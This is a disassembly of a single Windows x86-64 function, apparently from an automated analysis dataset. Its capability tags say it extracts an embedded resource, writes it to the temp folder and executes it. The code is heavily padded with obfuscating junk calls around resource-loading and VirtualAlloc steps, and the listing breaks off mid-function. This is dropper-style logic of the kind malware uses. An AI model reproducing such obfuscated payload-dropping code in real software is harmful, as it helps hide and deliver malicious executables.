Function at 0x140007760
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x318
lea rbp, [rsp + 0x80]
mov r14, rcx
sub rsp, 0x20
movabs rcx, 0x26df5c72db06924b
mov edx, 0x5a
call fcn.1400057e0
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov edx, 0xd9
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
add rbx, rax
sub rsp, 0x20
movabs rcx, 0xff59fead29042763
mov rdx, rbx
call fcn.1400057e0
mov r8d, 0x2bb5e6
mov r9d, 0x7a
xor ecx, ecx
mov rdx, rbx
call fcn.1400057e0
movabs rcx, 0xc8ec3b0806e25de1
mov rdx, rbx
mov r8, rbx
mov r9, rbx
call fcn.1400057e0
mov edx, 0x7d
xor ecx, ecx
call fcn.1400057e0
movabs rcx, 0xf4c0573dbe32a621
mov rdx, rbx
call fcn.1400057e0
mov r8d, 0xdb
xor ecx, ecx
mov rdx, rbx
call fcn.1400057e0
add rsp, 0x20
movabs r15, 0x1d28e6bd1b74bd8a
lea rcx, [r15 + 1]
sub rsp, 0x20
mov rdx, rbx
call fcn.1400057e0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
mov rsi, rax
add esi, edi
sub rsp, 0x20
mov rcx, r15
mov rdx, rbx
call fcn.1400057e0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov edx, 0x8d
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
xor eax, edi
xor eax, esi
lea rax, [rax*8 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.140005620
sub rsp, rax
mov qword [rbp + 0x1f8], rsp
sub rsp, 0x20
movabs rcx, 0x9218457999a96bd9
mov rdx, rbx
mov r8, rbx
call fcn.1400057e0
xor ecx, ecx
mov rdx, rbx
call fcn.1400057e0
movabs rcx, 0xc1e9c62ab3326469
mov rdx, rbx
call fcn.1400057e0
mov edx, 0xc6
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
movabs rsi, 0x249c3f2559c5e49c
lea rcx, [rsi + 1]
sub rsp, 0x20
xor edx, edx
mov r8, rbx
call fcn.1400057e0
mov edx, 0x6adb5f
xor ecx, ecx
call fcn.1400057e0
mov rcx, rsi
mov rdx, rbx
call fcn.1400057e0
mov edx, 0x89
xor ecx, ecx
call fcn.1400057e0
movabs rcx, 0x391d97d4ccb6b6f6
call fcn.1400057e0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov edx, 0xa2
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
add esi, eax
sub rsp, 0x20
movabs rcx, 0xc6e2682b3349490b
mov r9d, 0x16
mov rdx, rbx
mov r8, rbx
call fcn.1400057e0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov r8d, 0xd6
xor ecx, ecx
mov rdx, rbx
call fcn.1400057e0
add rsp, 0x20
add eax, edi
add eax, esi
lea rax, [rax*8 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.140005620
sub rsp, rax
mov qword [rbp + 0x1f0], rsp
sub rsp, 0x20
movabs rcx, 0x73ab47794d259d93
mov edx, 0x2d4c4b
call fcn.1400057e0
xor ecx, ecx
mov rdx, rbx
call fcn.1400057e0
movabs rcx, 0x8c54b886b2da626e
call fcn.1400057e0
mov edx, 0xb6
xor ecx, ecx
call fcn.1400057e0
movabs rsi, 0x58460d8284cf3bd6
mov rcx, rsi
mov rdx, rbx
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
or rsi, 1
sub rsp, 0x20
mov rcx, rsi
mov rdx, rbx
mov r8, rbx
call fcn.1400057e0
mov edx, 0x5d38ad
xor ecx, ecx
mov r8, rbx
call fcn.1400057e0
movabs rcx, 0x254eb2e24a830d19
mov rdx, rbx
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
movabs rcx, 0x4aab3a6fa68fff29
mov edx, 0x49
call fcn.1400057e0
xor ecx, ecx
mov rdx, rbx
call fcn.1400057e0
movabs rcx, 0x12c7d4fa5d662e09
mov rdx, rbx
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
movabs rcx, 0x54605d683231c039
mov rdx, rbx
mov r8, rbx
call fcn.1400057e0
xor ecx, ecx
mov rdx, rbx
call fcn.1400057e0
add rsp, 0x20
movabs rsi, 0x5c8815a1517a14f2
lea rcx, [rsi + 1]
sub rsp, 0x20
mov edx, 0x478553
call fcn.1400057e0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
xor ecx, ecx
mov rdx, rbx
mov r8, rbx
call fcn.1400057e0
add rsp, 0x20
add edi, eax
sub rsp, 0x20
mov rcx, rsi
call fcn.1400057e0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
xor ecx, ecx
mov rdx, rbx
call fcn.1400057e0
add rsp, 0x20
add esi, eax
xor esi, edi
lea rax, [rsi*4 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.140005620
sub rsp, rax
mov qword [rbp + 0x228], rsp
sub rsp, 0x20
movabs rcx, 0xe3df21cfd9fa4fa9
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
movabs rcx, 0x70ef1b8096c1c499
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
movabs rcx, 0x483e990d0451a3cd
mov rdx, rbx
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
movabs rcx, 0x9550458dbfd40105
mov rdx, rbx
call fcn.1400057e0
xor ecx, ecx
mov rdx, rbx
mov r8, rbx
call fcn.1400057e0
movabs rcx, 0x4a99758f7b000ae
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
movabs rcx, 0xfb5668a7084fff53
call fcn.1400057e0
xor ecx, ecx
mov rdx, rbx
call fcn.1400057e0
movabs rcx, 0x4f246df575d4a41f
mov rdx, rbx
mov r8, rbx
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
movabs rcx, 0x1f8f2d6f2431d7df
mov edx, 0x64
call fcn.1400057e0
mov edx, 0x10
xor ecx, ecx
call fcn.1400057e0
movabs rsi, 0x7537cf8e169d4b0a
mov edx, 0xfb4d0c
mov rcx, rsi
mov r8, rbx
call fcn.1400057e0
add rsp, 0x20
mov r15, rax
sub rsp, 0x20
mov edx, 0x8d
mov r8d, 0xb6
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
mov rdi, rax
xor edi, r15d
or rsi, 1
sub rsp, 0x20
mov rcx, rsi
call fcn.1400057e0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov edx, 0xad
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
add esi, eax
xor esi, edi
lea rax, [rsi*4 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.140005620
sub rsp, rax
mov qword [rbp + 0x190], rsp
sub rsp, 0x20
movabs rcx, 0x3ff47db9e15c941c
mov rdx, rbx
call fcn.1400057e0
xor ecx, ecx
mov rdx, rbx
mov r8, rbx
call fcn.1400057e0
movabs rcx, 0xc00b82461ea36be5
call fcn.1400057e0
mov edx, 0x88
xor ecx, ecx
call fcn.1400057e0
movabs rcx, 0x3c1298133615429
mov edx, 0x81fb36
call fcn.1400057e0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov edx, 0x1b
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
mov rdi, rax
add edi, esi
sub rsp, 0x20
movabs rcx, 0xfc3ed67ecc9eabd8
call fcn.1400057e0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
xor eax, esi
add eax, edi
lea rax, [rax*8 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.140005620
sub rsp, rax
mov r13, rsp
sub rsp, 0x20
movabs rcx, 0x5709560f2f74c5a7
call fcn.1400057e0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov edx, 0xd
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
xor esi, eax
sub rsp, 0x20
movabs rcx, 0x8da64f28b2eb6450
mov rdx, rbx
call fcn.1400057e0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov edx, 0xdb
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
xor eax, edi
imul eax, esi
movzx eax, al
add eax, 0xf
and eax, 0xfffffff0
call fcn.140005620
sub rsp, rax
mov r12, rsp
movabs rsi, 0x1f7f352f9d0bd90a
lea rcx, [rsi + 0x13]
sub rsp, 0x20
mov edx, 0xb4
call fcn.1400057e0
mov r8d, 0x90
xor ecx, ecx
xor edx, edx
call fcn.1400057e0
mov rcx, rsi
call fcn.1400057e0
xor ecx, ecx
mov rdx, rbx
call fcn.1400057e0
movabs rsi, 0x6e8bd6363673a97
mov edx, 0xff
mov rcx, rsi
call fcn.1400057e0
mov r8d, 0x670ca0
xor ecx, ecx
mov rdx, rbx
call fcn.1400057e0
add rsp, 0x20
add rsi, 0x4650bb5
sub rsp, 0x20
mov rcx, rsi
mov rdx, rbx
mov r8, rbx
call fcn.1400057e0
mov r8d, 0x10
xor ecx, ecx
mov rdx, rbx
call fcn.1400057e0
movabs rsi, 0xe9889479406a637
mov edx, 0x7f
mov rcx, rsi
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
add rsi, 0x9d
sub rsp, 0x20
mov edx, 0x1ab920
mov r8d, 0x4cfc6f
mov rcx, rsi
mov r9, rbx
call fcn.1400057e0
xor ecx, ecx
mov rdx, rbx
call fcn.1400057e0
add rsp, 0x20
movabs rsi, 0x8de2221a5eb9104
lea rcx, [rsi + 0x6f]
sub rsp, 0x20
mov edx, 0x24
call fcn.1400057e0
xor ecx, ecx
mov rdx, rbx
call fcn.1400057e0
mov rcx, rsi
call fcn.1400057e0
xor ecx, ecx
mov rdx, rbx
call fcn.1400057e0
mov ecx, 0x17
mov rdx, rbx
call fcn.1400057e0
add rsp, 0x20
mov r15, rax
sub rsp, 0x20
mov ecx, 0x4ab7cdb
mov rdx, rbx
call fcn.1400057e0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov ecx, 0xe3
mov rdx, rbx
mov r8, rbx
call fcn.1400057e0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov ecx, 0x77
call fcn.1400057e0
sub rsp, 0x10
mov byte [rsp + 0x28], al
mov byte [rsp + 0x20], sil
lea rcx, [0x14000efe8]
mov qword [rbp + 0x198], r12
mov rdx, r12
mov r8, r15
mov r9, rdi
call fcn.1400057f0
add rsp, 0x30
mov qword [rbp + 0x238], rax
mov rax, qword [rbp + 0x238]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x89
call fcn.1400057e0
mov ecx, 0x7afafa69
mov r8d, 0x98c13f
mov rdx, rbx
mov r9, rbx
call fcn.1400057e0
mov ecx, 0xa061440
mov edx, 0x68
mov r8d, 0x5a6db5
call fcn.1400057e0
mov ecx, 0x1050504
mov rdx, rbx
mov r8, rbx
call fcn.1400057e0
mov ecx, 0x1010104
call fcn.1400057e0
mov ecx, 0xb071544
mov edx, 0x426da9
call fcn.1400057e0
movabs rcx, 0x1e727c0969a441c7
mov edx, 0x40
mov r8, rbx
call fcn.1400057e0
add rsp, 0x20
mov rax, qword [rbp + 0x238]
sub rsp, 0x20
mov ecx, 1
mov edx, 0xad
mov r8, rbx
call fcn.1400057e0
xor ecx, ecx
mov rdx, rbx
mov r8, rbx
call fcn.1400057e0
add rsp, 0x20
mov rax, qword [rbp + 0x238]
sub rsp, 0x20
mov ecx, 0xffffffff
mov rdx, rbx
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 0xfffffffd
mov rdx, rbx
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, 0xc61be4
call fcn.1400057e0
mov ecx, 2
mov edx, 0x36
mov r8d, 0xd9
call fcn.1400057e0
movabs rcx, 0xb2bd385f4e875735
call fcn.1400057e0
mov edx, 0x31
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
mov rax, qword [rbp + 0x238]
sub rsp, 0x20
mov ecx, 1
mov edx, 0xa2
mov r8d, 0xb1
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, 0xc75d44
call fcn.1400057e0
mov ecx, 0xfffffffd
call fcn.1400057e0
mov ecx, 0xffffffff
mov r8d, 0x6d
mov rdx, rbx
call fcn.1400057e0
mov ecx, 2
mov rdx, rbx
call fcn.1400057e0
movabs rcx, 0xa6892cd768a47873
mov rdx, rbx
call fcn.1400057e0
mov edx, 0x46
mov r8d, 0x2d
xor ecx, ecx
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 0xffffffff
mov rdx, rbx
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, 0x7d
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, 0x48
mov r8d, 0xba
call fcn.1400057e0
mov ecx, 2
mov rdx, rbx
call fcn.1400057e0
movabs rcx, 0xd1825bf78166ecbb
call fcn.1400057e0
mov edx, 0x90
xor ecx, ecx
call fcn.1400057e0
mov ecx, 0xe9
mov rdx, rbx
call fcn.1400057e0
mov ecx, 0xff
call fcn.1400057e0
mov ecx, 0x2f75
mov rdx, rbx
mov r8, rbx
call fcn.1400057e0
mov ecx, 0x84
mov rdx, rbx
call fcn.1400057e0
mov ecx, 0xff
call fcn.1400057e0
mov ecx, 0xa18d
call fcn.1400057e0
movabs rcx, 0x538e2c28f012cc39
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
mov ecx, 0xffffffff
mov rdx, rbx
call fcn.1400057e0
mov ecx, 0xfffffffd
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 2
call fcn.1400057e0
movabs rcx, 0x3146adf871620900
call fcn.1400057e0
xor ecx, ecx
mov rdx, rbx
call fcn.1400057e0
mov ecx, 0x100
mov rdx, rbx
call fcn.1400057e0
lea rsi, [rbp - 0x80]
mov ecx, eax
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
add rsp, 0x20
mov dword [rbp + 0x268], eax
sub rsp, 0x20
lea rdx, str._s_s
lea r9, [0x14001014c]
mov rcx, rsi
mov r8, rsi
call qword [sym.imp.USER32.dll_wsprintfA]
add rsp, 0x20
mov dword [rbp + 0x25c], eax
sub rsp, 0x20
mov edx, 0x72
mov r8d, 0xa
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindResourceW]
add rsp, 0x20
mov qword [r13], rax
cmp qword [r13], 0
sete byte [rbp + 0x296]
movzx eax, byte [rbp + 0x296]
mov byte [rbp + 0x281], al
movzx eax, byte [rbp + 0x281]
mov byte [rbp + 0x287], al
movzx eax, byte [rbp + 0x296]
sub rsp, 0x20
mov ecx, 1
call fcn.1400057e0
movabs rcx, 0xf0c62c19e5af77a
mov edx, 0x84
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
mov eax, dword [rbp + 0x268]
sub rsp, 0x20
mov ecx, 0xff
mov r8d, 0x6d
mov rdx, rbx
call fcn.1400057e0
mov ecx, 0x6fa3
mov edx, 0x90
mov r8d, 0xa6ca82
call fcn.1400057e0
mov ecx, 0x9b
call fcn.1400057e0
mov ecx, 0xff
call fcn.1400057e0
mov ecx, 0x82fd
mov rdx, rbx
mov r8, rbx
call fcn.1400057e0
movabs rcx, 0xf0f39d3e61a50887
mov rdx, rbx
mov r8, rbx
call fcn.1400057e0
mov edx, 0xd9
xor ecx, ecx
mov r8, rbx
call fcn.1400057e0
mov ecx, 1
mov rdx, rbx
mov r8, rbx
call fcn.1400057e0
movabs rcx, 0x7c352de51c4982e4
call fcn.1400057e0
mov r8d, 0x91
xor ecx, ecx
mov rdx, rbx
call fcn.1400057e0
mov ecx, 1
mov rdx, rbx
call fcn.1400057e0
movabs rcx, 0x83cad21ae3b67d1d
mov edx, 0x4d
mov r8d, 0xd
call fcn.1400057e0
mov ecx, 0xe9
mov rdx, rbx
call fcn.1400057e0
mov ecx, 0xff
call fcn.1400057e0
mov ecx, 0x4c
mov edx, 0x90
call fcn.1400057e0
mov ecx, 0xff
mov r8d, 0x184adb
mov rdx, rbx
call fcn.1400057e0
mov ecx, 0x9809
call fcn.1400057e0
movabs rcx, 0x4a4999f673acd677
mov edx, 0x8addb0
call fcn.1400057e0
xor ecx, ecx
mov rdx, rbx
call fcn.1400057e0
mov ecx, 0x6c
mov edx, 0x10
call fcn.1400057e0
mov ecx, 0xff
mov rdx, rbx
call fcn.1400057e0
mov ecx, 0xf067
mov rdx, rbx
call fcn.1400057e0
mov ecx, 0xdc
mov edx, 0xb4
mov r8, rbx
call fcn.1400057e0
mov ecx, 0xff
mov r8d, 0x19616f
mov rdx, rbx
call fcn.1400057e0
mov ecx, 0x6f83
mov rdx, rbx
call fcn.1400057e0
movabs rcx, 0x79a9fb65e683e347
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 0xffffffff
mov rdx, rbx
mov r8, rbx
call fcn.1400057e0
mov ecx, 0xfffffffd
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, 0xc6
mov r8, rbx
call fcn.1400057e0
mov ecx, 2
call fcn.1400057e0
add rsp, 0x20
movabs rsi, 0x47706982e7937cee
lea rcx, [rsi + 1]
sub rsp, 0x20
mov edx, 0x6b
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, 0xc4b2fb
call fcn.1400057e0
mov ecx, 0xfffffffd
mov r8d, 0xb4
mov rdx, rbx
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 2
mov rdx, rbx
mov r8, rbx
call fcn.1400057e0
mov rcx, rsi
call fcn.1400057e0
mov ecx, 0xdd
mov rdx, rbx
call fcn.1400057e0
add rsp, 0x20
mov eax, dword [rbp + 0x268]
sub rsp, 0x20
mov ecx, 0xff
mov rdx, rbx
call fcn.1400057e0
mov ecx, 0x1b4f
mov rdx, rbx
call fcn.1400057e0
mov ecx, 0x4f
mov edx, 0xad9c0a
call fcn.1400057e0
mov ecx, 0xff
mov rdx, rbx
call fcn.1400057e0
mov ecx, 0x9b6f
call fcn.1400057e0
movabs rsi, 0x72fdfedf1d9972f8
mov edx, 0xe4
mov rcx, rsi
call fcn.1400057e0
mov ecx, 0x98
mov rdx, rbx
call fcn.1400057e0
mov ecx, 0xff
mov rdx, rbx
call fcn.1400057e0
mov ecx, 0x32b7
mov edx, 0xac0fbf
call fcn.1400057e0
mov ecx, 0xe8
mov edx, 0x3f
call fcn.1400057e0
mov ecx, 0xff
mov rdx, rbx
call fcn.1400057e0
mov ecx, 0xce51
call fcn.1400057e0
add rsp, 0x20
or rsi, 1
sub rsp, 0x20
mov rcx, rsi
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
mov ecx, 0x4d
mov edx, 0x5a
call fcn.1400057e0
mov ecx, 0xff
mov edx, 0x6c786f
call fcn.1400057e0
mov ecx, 0x2333
call fcn.1400057e0
mov ecx, 1
mov r8d, 0x49
mov rdx, rbx
mov r9, rbx
call fcn.1400057e0
mov ecx, 0xff
mov r9d, 0x92
mov rdx, rbx
mov r8, rbx
call fcn.1400057e0
mov ecx, 0x8333
call fcn.1400057e0
movabs rsi, 0x20b1d8ced5d5606c
mov rcx, rsi
mov rdx, rbx
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
or rsi, 1
sub rsp, 0x20
mov rcx, rsi
call fcn.1400057e0
mov r8d, 0x326179
xor ecx, ecx
mov rdx, rbx
call fcn.1400057e0
mov ecx, 0xffffffff
mov rdx, rbx
call fcn.1400057e0
mov ecx, 0xffffffff
mov rdx, rbx
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, 0xa29b68
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 2
mov edx, 0xb6
mov r8, rbx
call fcn.1400057e0
movabs rcx, 0x2002c5d5caa8cfcd
mov edx, 0x1ab20b
mov r8, rbx
call fcn.1400057e0
mov ecx, 0xffffffff
mov rdx, rbx
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 0xfffffffd
mov rdx, rbx
call fcn.1400057e0
mov ecx, 0xffffffff
mov rdx, rbx
call fcn.1400057e0
mov ecx, 2
mov rdx, rbx
call fcn.1400057e0
movabs rcx, 0xdffd3a2a35573034
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
cmp byte [rbp + 0x287], 0
jne 0x14000a6f9
mov rdx, qword [r13]
sub rsp, 0x20
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SizeofResource]
add rsp, 0x20
mov dword [rbp + 0x290], eax
mov eax, dword [rbp + 0x290]
mov r15, qword [rbp + 0x190]
mov dword [r15], eax
mov rdx, qword [r13]
sub rsp, 0x20
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_LoadResource]
add rsp, 0x20
mov qword [rbp + 0x1c0], rax
mov rcx, qword [rbp + 0x1c0]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_LockResource]
add rsp, 0x20
mov rsi, rax
mov edi, dword [r15]
movzx eax, byte [rbp + 0x287]
sub rsp, 0x20
mov ecx, 1
call fcn.1400057e0
movabs rcx, 0x10c3c249263f5aa4
mov edx, 0xd73175
call fcn.1400057e0
mov edx, 0x88
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
mov eax, dword [rbp + 0x268]
mov eax, dword [rbp + 0x290]
mov eax, dword [rbp + 0x268]
mov eax, dword [rbp + 0x290]
mov eax, dword [rbp + 0x268]
mov eax, dword [rbp + 0x290]
sub rsp, 0x20
mov ecx, 1
call fcn.1400057e0
add rsp, 0x20
mov r8d, dword [rbp + 0x290]
sub rsp, 0x20
movabs rcx, 0xef3c3db6d9c0b55c
mov edx, 0x89
call fcn.1400057e0
mov ecx, 0xf
call fcn.1400057e0
add rsp, 0x20
mov edx, dword [rbp + 0x290]
sub rsp, 0x20
mov ecx, 0xff
call fcn.1400057e0
add rsp, 0x20
mov edx, dword [rbp + 0x290]
sub rsp, 0x20
mov ecx, 0xb7a9
mov r8d, 0xb4
mov r9d, edx
call fcn.1400057e0
mov ecx, 0x85
call fcn.1400057e0
add rsp, 0x20
mov eax, dword [rbp + 0x290]
mov edx, dword [rbp + 0x290]
sub rsp, 0x20
mov ecx, 0xff
call fcn.1400057e0
add rsp, 0x20
mov edx, dword [rbp + 0x290]
sub rsp, 0x20
mov ecx, 0xa8d7
call fcn.1400057e0
movabs rcx, 0x2326553d152b6929
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
mov edx, dword [rbp + 0x290]
sub rsp, 0x20
mov ecx, 0xb2
mov r8d, edx
call fcn.1400057e0
mov ecx, 0xff
mov edx, 0x92
call fcn.1400057e0
add rsp, 0x20
mov edx, dword [rbp + 0x290]
sub rsp, 0x20
mov ecx, 0x32b3
call fcn.1400057e0
mov ecx, 0xa7
call fcn.1400057e0
add rsp, 0x20
mov r8d, dword [rbp + 0x290]
sub rsp, 0x20
mov ecx, 0xff
mov edx, 0x22
call fcn.1400057e0
mov ecx, 0x7663
call fcn.1400057e0
movabs rcx, 0x98a05c0cfbd50c64
mov edx, 0xed1a25
call fcn.1400057e0
add rsp, 0x20
mov edx, dword [rbp + 0x290]
sub rsp, 0x20
mov r8d, 0x3a
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
mov edx, dword [rbp + 0x290]
sub rsp, 0x20
mov ecx, 0x1000
call fcn.1400057e0
add rsp, 0x20
mov rbx, rax
mov edx, dword [rbp + 0x290]
sub rsp, 0x20
mov ecx, 4
call fcn.1400057e0
xor ecx, ecx
mov rdx, rdi
mov r8d, ebx
mov r9d, eax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
add rsp, 0x20
mov qword [rbp + 0x248], rax
mov rcx, qword [rbp + 0x248]
sub rsp, 0x20
mov rdx, rsi
mov r8, rdi
call fcn.1400057b0
lea rcx, [0x14001014c]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
add rsp, 0x20
mov dword [rbp + 0x27c], eax
sub rsp, 0x20
mov ecx, 0xc
call fcn.1400057e0
add rsp, 0x20
mov edx, dword [rbp + 0x290]
sub rsp, 0x20
mov ecx, 0xff
call fcn.1400057e0
mov ecx, 0xf8a1
mov edx, 0xf1
call fcn.1400057e0
mov ecx, 0x4b
mov edx, 0xacb6be
call fcn.1400057e0
add rsp, 0x20
mov edx, dword [rbp + 0x290]
sub rsp, 0x20
mov ecx, 0xff
call fcn.1400057e0
mov ecx, 0xb599
mov edx, 0xeb
call fcn.1400057e0
mov edx, 0xf6
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
mov ecx, dword [rbp + 0x27c]
cmp ecx, eax
sete byte [rbp + 0x295]
cmp byte [rbp + 0x295], 0
je 0x140008bad
mov r14, qword [rbp + 0x248]
movzx edi, byte [rbp + 0x295]
mov eax, dword [rbp + 0x27c]
mov eax, dword [rbp + 0x27c]
mov eax, dword [rbp + 0x27c]
sub rsp, 0x20
mov ecx, 1
mov edx, edi
call fcn.1400057e0
movabs rcx, 0x27d6b7523be47d70
mov edx, edi
call fcn.1400057e0
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
xor ebx, eax
mov rax, qword [rbp + 0x238]
sub rsp, 0x20
mov ecx, 0x98
call fcn.1400057e0
mov ecx, 0xff
mov r8d, 0x896ac9
mov r9d, 0xfd
mov edx, edi
call fcn.1400057e0
mov ecx, 0x61cd
mov edx, edi
call fcn.1400057e0
mov ecx, 0x16
mov edx, edi
mov r8d, edi
call fcn.1400057e0
mov ecx, 0xff
call fcn.1400057e0
mov ecx, 0xda3f
mov edx, 0x8117ef
mov r8d, 0xe4
call fcn.1400057e0
movabs rcx, 0xd82948adc41b82c0
mov edx, 0x2d
mov r8d, 0xb0d787
call fcn.1400057e0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
xor ecx, ecx
mov edx, edi
call fcn.1400057e0
add rsp, 0x20
xor esi, eax
add esi, ebx
sub rsp, 0x20
mov rcx, rsi
mov edx, edi
call fcn.1400057e0
lea r8, str.Error
xor ecx, ecx
mov rdx, r14
mov r9d, eax
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14000a664
mov eax, dword [r15]
mov dword [rbp + 0x278], eax
movzx eax, byte [rbp + 0x287]
movzx eax, byte [rbp + 0x295]
mov edx, dword [rbp + 0x278]
sub rsp, 0x20
mov ecx, 1
mov r8d, edx
call fcn.1400057e0
movabs rcx, 0x159d9d1a2c5a2d5a
mov edx, 0x8d
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
movzx eax, byte [rbp + 0x296]
mov eax, dword [rbp + 0x290]
mov eax, dword [rbp + 0x290]
mov eax, dword [rbp + 0x290]
sub rsp, 0x20
mov ecx, 1
call fcn.1400057e0
add rsp, 0x20
mov edx, dword [rbp + 0x278]
sub rsp, 0x20
movabs rcx, 0xea6262e5d3a5d2ab
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
mov r8d, dword [rbp + 0x278]
sub rsp, 0x20
mov ecx, 5
mov edx, 0x9a
call fcn.1400057e0
add rsp, 0x20
mov ecx, dword [rbp + 0x278]
mov edx, dword [r15]
mov dword [rbp + 0x270], edx
mov rdx, qword [rbp + 0x248]
mov ebx, dword [rbp + 0x270]
mov dword [rbp + 0x260], ebx
mov qword [rbp + 0x220], rdx
cmp ecx, eax
jbe 0x140009fd7
mov rax, qword [rbp + 0x248]
mov esi, dword [rax]
movzx eax, byte [rbp + 0x296]
sub rsp, 0x20
mov ecx, 0xa3
mov edx, 0x7f
call fcn.1400057e0
add rsp, 0x20
mov eax, dword [rbp + 0x25c]
sub rsp, 0x20
mov ecx, 0xff
mov r8d, 0x44
mov edx, esi
call fcn.1400057e0
mov ecx, 0x31db
mov edx, esi
call fcn.1400057e0
mov ecx, 0x41
mov edx, esi
mov r8d, esi
call fcn.1400057e0
mov ecx, 0xff
mov edx, 0x28
call fcn.1400057e0
mov ecx, 0x93ef
mov edx, esi
mov r8d, esi
call fcn.1400057e0
movabs rcx, 0x2689b39668908ba9
call fcn.1400057e0
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
mov rdi, rax
add edi, ebx
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, esi
call fcn.1400057e0
add rsp, 0x20
mov eax, dword [rbp + 0x290]
mov eax, dword [rbp + 0x278]
mov eax, dword [rbp + 0x290]
mov eax, dword [rbp + 0x278]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xa8
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, esi
mov r8d, esi
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, 0xb6
call fcn.1400057e0
add rsp, 0x20
mov eax, dword [rbp + 0x278]
sub rsp, 0x20
mov ecx, 2
mov edx, 0xa4
call fcn.1400057e0
add rsp, 0x20
mov eax, dword [rbp + 0x290]
mov eax, dword [rbp + 0x290]
mov eax, dword [rbp + 0x278]
sub rsp, 0x20
movabs rcx, 0xd9764c69c5e7e3c9
mov edx, esi
call fcn.1400057e0
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
xor ecx, ecx
mov edx, esi
mov r8d, esi
call fcn.1400057e0
add rsp, 0x20
add eax, ebx
add eax, edi
cmp esi, eax
sete byte [rbp + 0x286]
